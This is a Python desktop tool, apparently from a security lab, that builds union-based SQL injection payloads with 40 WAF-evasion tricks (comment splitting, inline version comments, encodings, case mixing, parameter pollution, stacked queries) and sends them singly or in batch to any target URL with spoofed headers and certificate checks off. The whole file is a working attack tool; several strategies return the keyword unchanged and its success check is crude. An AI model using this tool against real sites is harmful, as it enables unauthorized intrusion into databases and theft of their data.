#coding:utf-8
import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog, messagebox
import requests
import base64
import time
import urllib.parse
from datetime import datetime
import random

class WafBypassTool(tk.Tk):
    def __init__(self):
        super().__init__()
        self.title("信安西部-明镜高悬实验室-WAFBypassPenTester（v1.0）")
        self.geometry("1200x800")
        self.resizable(True, True)
        
        # 全局变量
        self.target_url = tk.StringVar()
        self.param_name = tk.StringVar(value="id")  # 默认测试参数
        self.request_type = tk.StringVar(value="GET")  # 默认GET请求
        self.post_content_type = tk.StringVar(value="application/x-www-form-urlencoded")
        self.custom_header = tk.StringVar(value="X-Forwarded-For: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
        self.bypass_strategy = tk.StringVar()  # 选中的绕过策略
        self.payload_template = tk.StringVar(value="-1' {payload} select 1,2,3 --+")  # Payload模板
        self.test_history = []  # 测试历史记录
        self.bypass_methods = self._init_bypass_methods()
        
        # 界面布局
        self._create_widgets()

    def _init_bypass_methods(self):
        """初始化WAF绕过方法）"""
        return [
            # 1-10：关键字变形类
            {"name": "1. 块注释拆分（uni/*xxx*/on）", "func": self._method1},
            {"name": "2. 内联注释（/*!union*/）", "func": self._method2},
            {"name": "3. 换行分隔（uni%0Aon）", "func": self._method3},
            {"name": "4. 制表符分隔（uni%09on）", "func": self._method4},
            {"name": "5. 双写关键字（ununionion）", "func": self._method5},
            {"name": "6. 大小写混淆（UnIoN）", "func": self._method6},
            {"name": "7. URL二次编码（%2575%256E...）", "func": self._method7},
            {"name": "8. Base64编码（dW5pb24=）", "func": self._method8},
            {"name": "9. Unicode编码（\\u0075\\u006E...）", "func": self._method9},
            {"name": "10. 全角字符替换（ｕｎｉｏｎ）", "func": self._method10},
            
            # 11-20：语法特性类
            {"name": "11. 空字节插入（union%00select）", "func": self._method11},
            {"name": "12. 函数名拆分（databas/*x*/e()）", "func": self._method12},
            {"name": "13. 运算符替代（&&代替and）", "func": self._method13},
            {"name": "14. 等于号变形（<=>代替=）", "func": self._method14},
            {"name": "15. 比较符替换（between 1 and 1）", "func": self._method15},
            {"name": "16. 注释符混淆（/*!--+/*）", "func": self._method16},
            {"name": "17. 多行注释闭合（/*a*/select/*b*/）", "func": self._method17},
            {"name": "18. 参数污染（?id=1&id=2' union）", "func": self._method18},
            {"name": "19. 请求方法切换（POST代替GET）", "func": self._method19},
            {"name": "20. MIME类型伪装（multipart/form-data）", "func": self._method20},
            
            # 21-30：传输与协议类
            {"name": "21. 分块传输（Transfer-Encoding: chunked）", "func": self._method21},
            {"name": "22. 伪造X-Forwarded-For", "func": self._method22},
            {"name": "23. 版本号欺骗（/*!50001 select*/）", "func": self._method23},
            {"name": "24. 函数别名（concat_ws代替concat）", "func": self._method24},
            {"name": "25. 空格替代符（%0C代替空格）", "func": self._method25},
            {"name": "26. 括号包裹（(select 1)代替select 1）", "func": self._method26},
            {"name": "27. 逻辑拆分（and (1)=(1)）", "func": self._method27},
            {"name": "28. 延迟函数替换（benchmark代替sleep）", "func": self._method28},
            {"name": "29. 错误抑制（or 1=1/*）", "func": self._method29},
            {"name": "30. 参数位置调整（URL→Cookie）", "func": self._method30},
            
            # 31-40：高级混淆类
            {"name": "31. 特殊符号拼接（un''ion）", "func": self._method31},
            {"name": "32. 反斜杠转义（union\\select）", "func": self._method32},
            {"name": "33. 长字符串填充（前缀无意义字符）", "func": self._method33},
            {"name": "34. SQL注释嵌套（/*/*/union/*/*/）", "func": self._method34},
            {"name": "35. 协议头注入（Referer携带Payload）", "func": self._method35},
            {"name": "36. 变量拼接（concat('un','ion')）", "func": self._method36},
            {"name": "37. 十六进制编码（0x756E696F6E）", "func": self._method37},
            {"name": "38. 条件注释（/*!if(1=1, sleep(1), 0)*/）", "func": self._method38},
            {"name": "39. 堆叠查询分隔符（;分隔多语句）", "func": self._method39},
            {"name": "40. 异或运算（1^0代替1=1）", "func": self._method40},
        ]

    def _create_widgets(self):
        """创建界面组件"""
        # 1. 顶部目标配置区域
        top_frame = ttk.LabelFrame(self, text="目标配置", padding=(10, 5))
        top_frame.pack(fill=tk.X, padx=10, pady=5)
        
        # 目标URL
        ttk.Label(top_frame, text="目标URL:").grid(row=0, column=0, sticky=tk.W, padx=5, pady=3)
        url_entry = ttk.Entry(top_frame, textvariable=self.target_url, width=80)
        url_entry.grid(row=0, column=1, columnspan=3, sticky=tk.EW, padx=5, pady=3)
        
        # 参数名与请求类型
        ttk.Label(top_frame, text="测试参数:").grid(row=1, column=0, sticky=tk.W, padx=5, pady=3)
        param_entry = ttk.Entry(top_frame, textvariable=self.param_name, width=20)
        param_entry.grid(row=1, column=1, sticky=tk.EW, padx=5, pady=3)
        
        ttk.Label(top_frame, text="请求类型:").grid(row=1, column=2, sticky=tk.W, padx=5, pady=3)
        request_type_combo = ttk.Combobox(top_frame, textvariable=self.request_type, values=["GET", "POST"], state="readonly")
        request_type_combo.grid(row=1, column=3, sticky=tk.EW, padx=5, pady=3)
        
        # POST内容类型（仅POST时显示）
        self.post_type_frame = ttk.Frame(top_frame)
        ttk.Label(self.post_type_frame, text="POST类型:").grid(row=0, column=0, sticky=tk.W, padx=5, pady=3)
        post_type_combo = ttk.Combobox(self.post_type_frame, textvariable=self.post_content_type, 
                                      values=["application/x-www-form-urlencoded", "multipart/form-data"], state="readonly")
        post_type_combo.grid(row=0, column=1, sticky=tk.EW, padx=5, pady=3)
        self.request_type.trace("w", self._toggle_post_type)
        self._toggle_post_type()

        # 2. 中间Payload与策略区域
        mid_frame = ttk.PanedWindow(self, orient=tk.HORIZONTAL)
        mid_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)
        
        # 左侧绕过策略列表
        strategy_frame = ttk.LabelFrame(mid_frame, text="WAF绕过策略", padding=(5, 5))
        mid_frame.add(strategy_frame, weight=1)
        
        self.strategy_listbox = tk.Listbox(strategy_frame, height=25, width=50, listvariable=tk.Variable(value=[m["name"] for m in self.bypass_methods]))
        self.strategy_listbox.bind("<<ListboxSelect>>", self._on_strategy_select)
        self.strategy_listbox.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
        scrollbar = ttk.Scrollbar(strategy_frame, orient=tk.VERTICAL, command=self.strategy_listbox.yview)
        scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
        self.strategy_listbox.config(yscrollcommand=scrollbar.set)
        
        # 右侧Payload配置
        payload_frame = ttk.LabelFrame(mid_frame, text="Payload配置", padding=(10, 5))
        mid_frame.add(payload_frame, weight=2)
        
        ttk.Label(payload_frame, text="Payload模板（{payload}为绕过关键字）:").pack(anchor=tk.W, padx=5, pady=3)
        payload_entry = ttk.Entry(payload_frame, textvariable=self.payload_template, width=80)
        payload_entry.pack(fill=tk.X, padx=5, pady=3)
        
        ttk.Label(payload_frame, text="自定义请求头:").pack(anchor=tk.W, padx=5, pady=3)
        self.header_text = scrolledtext.ScrolledText(payload_frame, height=8, width=80)
        self.header_text.insert(tk.END, self.custom_header.get())
        self.header_text.pack(fill=tk.X, padx=5, pady=3)
        
        # 生成Payload按钮
        gen_btn = ttk.Button(payload_frame, text="生成当前策略Payload", command=self._generate_payload)
        gen_btn.pack(anchor=tk.W, padx=5, pady=5)
        
        # 生成的Payload显示
        ttk.Label(payload_frame, text="生成的Payload:").pack(anchor=tk.W, padx=5, pady=3)
        self.generated_payload = scrolledtext.ScrolledText(payload_frame, height=3, width=80, state=tk.DISABLED)
        self.generated_payload.pack(fill=tk.X, padx=5, pady=3)

        # 3. 底部测试与结果区域
        bottom_frame = ttk.PanedWindow(self, orient=tk.HORIZONTAL)
        bottom_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)
        
        # 左侧测试控制
        control_frame = ttk.LabelFrame(bottom_frame, text="测试控制", padding=(10, 5))
        bottom_frame.add(control_frame, weight=1)
        
        test_single_btn = ttk.Button(control_frame, text="测试选中策略", command=self._test_single_strategy)
        test_single_btn.pack(fill=tk.X, padx=5, pady=3)
        
        test_all_btn = ttk.Button(control_frame, text="批量测试所有策略", command=self._test_all_strategies)
        test_all_btn.pack(fill=tk.X, padx=5, pady=3)
        
        export_btn = ttk.Button(control_frame, text="导出测试记录", command=self._export_history)
        export_btn.pack(fill=tk.X, padx=5, pady=3)
        
        # 右侧结果显示
        result_frame = ttk.LabelFrame(bottom_frame, text="测试结果", padding=(10, 5))
        bottom_frame.add(result_frame, weight=3)
        
        ttk.Label(result_frame, text="响应信息:").pack(anchor=tk.W, padx=5, pady=3)
        self.response_text = scrolledtext.ScrolledText(result_frame, height=15, width=100, state=tk.DISABLED)
        self.response_text.pack(fill=tk.BOTH, expand=True, padx=5, pady=3)
        
        # 测试历史表格
        ttk.Label(result_frame, text="测试历史:").pack(anchor=tk.W, padx=5, pady=3)
        self.history_table = ttk.Treeview(result_frame, columns=("time", "strategy", "url", "result"), show="headings")
        self.history_table.heading("time", text="测试时间")
        self.history_table.heading("strategy", text="绕过策略")
        self.history_table.heading("url", text="请求URL")
        self.history_table.heading("result", text="测试结果")
        self.history_table.column("time", width=150)
        self.history_table.column("strategy", width=250)
        self.history_table.column("url", width=300)
        self.history_table.column("result", width=150)
        history_scroll = ttk.Scrollbar(result_frame, orient=tk.VERTICAL, command=self.history_table.yview)
        history_scroll.pack(side=tk.RIGHT, fill=tk.Y)
        self.history_table.config(yscrollcommand=history_scroll.set)
        self.history_table.pack(fill=tk.BOTH, expand=True, padx=5, pady=3)

    def _toggle_post_type(self, *args):
        """根据请求类型显示/隐藏POST内容类型选择"""
        if self.request_type.get() == "POST":
            self.post_type_frame.grid(row=2, column=1, columnspan=2, sticky=tk.EW, padx=5, pady=3)
        else:
            self.post_type_frame.grid_forget()

    def _on_strategy_select(self, event):
        """选中绕过策略时更新配置"""
        selected_idx = self.strategy_listbox.curselection()
        if selected_idx:
            self.bypass_strategy.set(selected_idx[0])

    def _generate_payload(self):
        """生成当前选中策略的Payload"""
        selected_idx = self.bypass_strategy.get()
        if not selected_idx:
            messagebox.showwarning("警告", "请先选中一种绕过策略！")
            return
        
        selected_idx = int(selected_idx)
        strategy = self.bypass_methods[selected_idx]
        # 调用对应策略的Payload生成函数（以union为示例关键字，可根据需求修改）
        bypassed_keyword = strategy["func"]("union")
        # 替换模板中的{payload}为绕过关键字
        payload = self.payload_template.get().replace("{payload}", bypassed_keyword)
        
        # 显示生成的Payload
        self.generated_payload.config(state=tk.NORMAL)
        self.generated_payload.delete(1.0, tk.END)
        self.generated_payload.insert(tk.END, payload)
        self.generated_payload.config(state=tk.DISABLED)

    def _send_request(self, payload):
        """发送请求并返回响应结果"""
        url = self.target_url.get().strip()
        param = self.param_name.get().strip()
        headers = self._parse_headers()
        
        try:
            if self.request_type.get() == "GET":
                # 构造GET请求URL
                if "?" in url:
                    request_url = f"{url}&{param}={urllib.parse.quote(payload)}"
                else:
                    request_url = f"{url}?{param}={urllib.parse.quote(payload)}"
                
                start_time = time.time()
                response = requests.get(request_url, headers=headers, timeout=10, verify=False)
                end_time = time.time()
                
                return {
                    "success": True,
                    "url": request_url,
                    "method": "GET",
                    "status_code": response.status_code,
                    "response_time": round(end_time - start_time, 2),
                    "content": response.text[:2000],  # 截取前2000字符避免过长
                    "result": "可能绕过成功" if "2" in response.text[:2000] else "未绕过（无预期回显）"
                }
            
            else:  # POST请求
                start_time = time.time()
                if self.post_content_type.get() == "application/x-www-form-urlencoded":
                    data = {param: payload}
                    response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                else:  # multipart/form-data
                    files = {param: (None, payload)}
                    response = requests.post(url, files=files, headers=headers, timeout=10, verify=False)
                end_time = time.time()
                
                return {
                    "success": True,
                    "url": url,
                    "method": f"POST ({self.post_content_type.get()})",
                    "status_code": response.status_code,
                    "response_time": round(end_time - start_time, 2),
                    "content": response.text[:2000],
                    "result": "可能绕过成功" if "2" in response.text[:2000] else "未绕过（无预期回显）"
                }
        
        except Exception as e:
            return {
                "success": False,
                "error": str(e),
                "result": "请求失败"
            }

    def _parse_headers(self):
        """解析自定义请求头为字典"""
        headers = {}
        header_text = self.header_text.get(1.0, tk.END).strip()
        for line in header_text.split("\n"):
            if ":" in line:
                key, value = line.split(":", 1)
                headers[key.strip()] = value.strip()
        return headers

    def _update_response_display(self, result):
        """更新响应显示区域"""
        self.response_text.config(state=tk.NORMAL)
        self.response_text.delete(1.0, tk.END)
        
        if result["success"]:
            display_text = f"""
请求信息:
- 方法: {result['method']}
- URL: {result['url']}
- 状态码: {result['status_code']}
- 响应时间: {result['response_time']}s

响应内容（前2000字符）:
{result['content']}

测试结果: {result['result']}
            """
        else:
            display_text = f"请求失败: {result['error']}"
        
        self.response_text.insert(tk.END, display_text.strip())
        self.response_text.config(state=tk.DISABLED)

    def _update_history(self, strategy_name, result):
        """更新测试历史记录"""
        time_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        url = result.get("url", self.target_url.get())
        history_entry = (time_str, strategy_name, url, result["result"])
        self.test_history.append(history_entry)
        
        # 更新表格
        self.history_table.insert("", tk.END, values=history_entry)

    def _test_single_strategy(self):
        """测试选中的单个绕过策略"""
        selected_idx = self.bypass_strategy.get()
        if not selected_idx:
            messagebox.showwarning("警告", "请先选中一种绕过策略！")
            return
        
        selected_idx = int(selected_idx)
        strategy = self.bypass_methods[selected_idx]
        # 生成Payload
        bypassed_keyword = strategy["func"]("union")
        payload = self.payload_template.get().replace("{payload}", bypassed_keyword)
        
        # 发送请求
        result = self._send_request(payload)
        # 更新显示和历史
        self._update_response_display(result)
        self._update_history(strategy["name"], result)
        messagebox.showinfo("测试完成", f"策略 [{strategy['name']}] 测试完成！")

    def _test_all_strategies(self):
        """批量测试所有绕过策略"""
        if not messagebox.askyesno("确认", "批量测试所有WAF绕过策略可能耗时较长，是否继续？"):
            return
        
        for idx, strategy in enumerate(self.bypass_methods):
            # 生成Payload
            bypassed_keyword = strategy["func"]("union")
            payload = self.payload_template.get().replace("{payload}", bypassed_keyword)
            
            # 发送请求
            result = self._send_request(payload)
            # 更新历史（响应显示只显示最后一个）
            self._update_history(strategy["name"], result)
            # 短暂延迟避免请求过于频繁
            time.sleep(0.5)
        
        self._update_response_display(result)  # 显示最后一个结果
        messagebox.showinfo("批量测试完成", "所有WAF绕过策略测试完成，可查看历史记录！")

    def _export_history(self):
        """导出测试历史记录到TXT文件"""
        if not self.test_history:
            messagebox.showwarning("警告", "暂无测试历史记录可导出！")
            return
        
        file_path = filedialog.asksaveasfilename(
            defaultextension=".txt",
            filetypes=[("Text Files", "*.txt"), ("All Files", "*.*")],
            title="导出测试记录"
        )
        
        if not file_path:
            return
        
        try:
            with open(file_path, "w", encoding="utf-8") as f:
                f.write("WAF绕过测试记录\n")
                f.write("="*80 + "\n")
                f.write(f"测试时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"目标URL: {self.target_url.get()}\n")
                f.write("="*80 + "\n")
                f.write(f"{'时间':<20} {'策略':<30} {'URL':<50} {'结果':<20}\n")
                f.write("-"*120 + "\n")
                for entry in self.test_history:
                    f.write(f"{entry[0]:<20} {entry[1]:<30} {entry[2]:<50} {entry[3]:<20}\n")
            messagebox.showinfo("导出成功", f"测试记录已导出到: {file_path}")
        except Exception as e:
            messagebox.showerror("导出失败", f"导出文件时出错: {str(e)}")

    # ------------------------------
    # WAF绕过方法实现
    # ------------------------------
    def _method1(self, keyword):
        """1. 块注释拆分（uni/*xxx*/on）"""
        return keyword[:3] + "/*" + random.choice(["abc", "123", "-"]) + "*/" + keyword[3:]

    def _method2(self, keyword):
        """2. 内联注释（/*!union*/）"""
        return f"/*!{keyword}*/"

    def _method3(self, keyword):
        """3. 换行分隔（uni%0Aon）"""
        return keyword[:3] + "%0A" + keyword[3:]

    def _method4(self, keyword):
        """4. 制表符分隔（uni%09on）"""
        return keyword[:3] + "%09" + keyword[3:]

    def _method5(self, keyword):
        """5. 双写关键字（ununionion）"""
        mid = len(keyword) // 2
        return keyword[:mid] + keyword + keyword[mid:]

    def _method6(self, keyword):
        """6. 大小写混淆（UnIoN）"""
        return "".join([c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(keyword)])

    def _method7(self, keyword):
        """7. URL二次编码（%2575%256E...）"""
        first_encode = urllib.parse.quote(keyword)
        return urllib.parse.quote(first_encode)

    def _method8(self, keyword):
        """8. Base64编码（dW5pb24=）"""
        return base64.b64encode(keyword.encode()).decode()

    def _method9(self, keyword):
        """9. Unicode编码（\\u0075\\u006E...）"""
        return "".join([f"\\u{ord(c):04x}" for c in keyword])

    def _method10(self, keyword):
        """10. 全角字符替换（ｕｎｉｏｎ）"""
        full_width_map = {
            'a': 'ａ', 'b': 'ｂ', 'c': 'ｃ', 'd': 'ｄ', 'e': 'ｅ', 'f': 'ｆ', 'g': 'ｇ', 'h': 'ｈ', 'i': 'ｉ', 'j': 'ｊ',
            'k': 'ｋ', 'l': 'ｌ', 'm': 'ｍ', 'n': 'ｎ', 'o': 'ｏ', 'p': 'ｐ', 'q': 'ｑ', 'r': 'ｒ', 's': 'ｓ', 't': 'ｔ',
            'u': 'ｕ', 'v': 'ｖ', 'w': 'ｗ', 'x': 'ｘ', 'y': 'ｙ', 'z': 'ｚ'
        }
        return "".join([full_width_map.get(c, c) for c in keyword.lower()])

    def _method11(self, keyword):
        """11. 空字节插入（union%00select）"""
        return f"{keyword}%00select"

    def _method12(self, keyword):
        """12. 函数名拆分（databas/*x*/e()）"""
        if "(" in keyword:
            func_name = keyword.split("(")[0]
            mid = len(func_name) // 2
            return func_name[:mid] + "/*x*/" + func_name[mid:] + "()"
        return keyword[:6] + "/*x*/" + keyword[6:] + "()"

    def _method13(self, keyword):
        """13. 运算符替代（&&代替and）"""
        return keyword.replace("and", "&&").replace("AND", "&&")

    def _method14(self, keyword):
        """14. 等于号变形（<=>代替=）"""
        return keyword.replace("=", "<=>")

    def _method15(self, keyword):
        """15. 比较符替换（between 1 and 1）"""
        return keyword.replace("=1", "between 1 and 1").replace("= 1", "between 1 and 1")

    def _method16(self, keyword):
        """16. 注释符混淆（/*!--+/*）"""
        return f"{keyword}/*!--+/*"

    def _method17(self, keyword):
        """17. 多行注释闭合（/*a*/select/*b*/）"""
        return f"/*a*/{keyword}/*b*/"

    def _method18(self, keyword):
        """18. 参数污染（?id=1&id=2' union）"""
        param = self.param_name.get()
        return f"{param}=1&{param}=2'{keyword}"

    def _method19(self, keyword):
        """19. 请求方法切换（POST代替GET）"""
        # 仅标记策略，请求类型在界面切换
        return keyword

    def _method20(self, keyword):
        """20. MIME类型伪装（multipart/form-data）"""
        # 仅标记策略，MIME类型在界面切换
        return keyword

    def _method21(self, keyword):
        """21. 分块传输（Transfer-Encoding: chunked）"""
        # 分块传输由requests自动处理，此处仅生成Payload
        return keyword

    def _method22(self, keyword):
        """22. 伪造X-Forwarded-For"""
        # 头信息在界面配置，此处仅生成Payload
        return keyword

    def _method23(self, keyword):
        """23. 版本号欺骗（/*!50001 select*/）"""
        return f"/*!50001 {keyword}*/"

    def _method24(self, keyword):
        """24. 函数别名（concat_ws代替concat）"""
        return keyword.replace("concat", "concat_ws(',')").replace("CONCAT", "CONCAT_WS(',')")

    def _method25(self, keyword):
        """25. 空格替代符（%0C代替空格）"""
        return keyword.replace(" ", "%0C")

    def _method26(self, keyword):
        """26. 括号包裹（(select 1)代替select 1）"""
        if keyword.lower() == "select":
            return f"({keyword} 1)"
        return f"({keyword})"

    def _method27(self, keyword):
        """27. 逻辑拆分（and (1)=(1)）"""
        return keyword.replace("and 1=1", "and (1)=(1)").replace("AND 1=1", "AND (1)=(1)")

    def _method28(self, keyword):
        """28. 延迟函数替换（benchmark代替sleep）"""
        return keyword.replace("sleep(5)", "benchmark(100000, md5(1))").replace("SLEEP(5)", "BENCHMARK(100000, MD5(1))")

    def _method29(self, keyword):
        """29. 错误抑制（or 1=1/*）"""
        return f"or 1=1/*{keyword}"

    def _method30(self, keyword):
        """30. 参数位置调整（URL→Cookie）"""
        # Cookie参数在请求时处理，此处仅生成Payload
        return keyword

    def _method31(self, keyword):
        """31. 特殊符号拼接（un''ion）"""
        mid = len(keyword) // 2
        return keyword[:mid] + "''" + keyword[mid:]

    def _method32(self, keyword):
        """32. 反斜杠转义（union\\select）"""
        return f"{keyword}\\\\select"

    def _method33(self, keyword):
        """33. 长字符串填充（前缀无意义字符）"""
        random_str = "a" * random.randint(10, 20)  # 10-20个无意义字符
        return random_str + keyword

    def _method34(self, keyword):
        """34. SQL注释嵌套（/*/*/union/*/*/）"""
        return f"/*/*/{keyword}/*/*/"

    def _method35(self, keyword):
        """35. 协议头注入（Referer携带Payload）"""
        # Referer头在界面配置，此处仅生成Payload
        return keyword

    def _method36(self, keyword):
        """36. 变量拼接（concat('un','ion')）"""
        return f"concat('{keyword[:2]}','{keyword[2:]}')"

    def _method37(self, keyword):
        """37. 十六进制编码（0x756E696F6E）"""
        hex_str = "0x" + keyword.encode().hex()
        return hex_str

    def _method38(self, keyword):
        """38. 条件注释（/*!if(1=1, sleep(1), 0)*/）"""
        return f"/*!if(1=1, {keyword}(1), 0)*/"

    def _method39(self, keyword):
        """39. 堆叠查询分隔符（;分隔多语句）"""
        return f";{keyword} select 1,2,3 --+"

    def _method40(self, keyword):
        """40. 异或运算（1^0代替1=1）"""
        return keyword.replace("1=1", "1^0").replace("1 = 1", "1^0")

if __name__ == "__main__":
    # 忽略SSL证书警告
    requests.packages.urllib3.disable_warnings()
    app = WafBypassTool()
    app.mainloop()
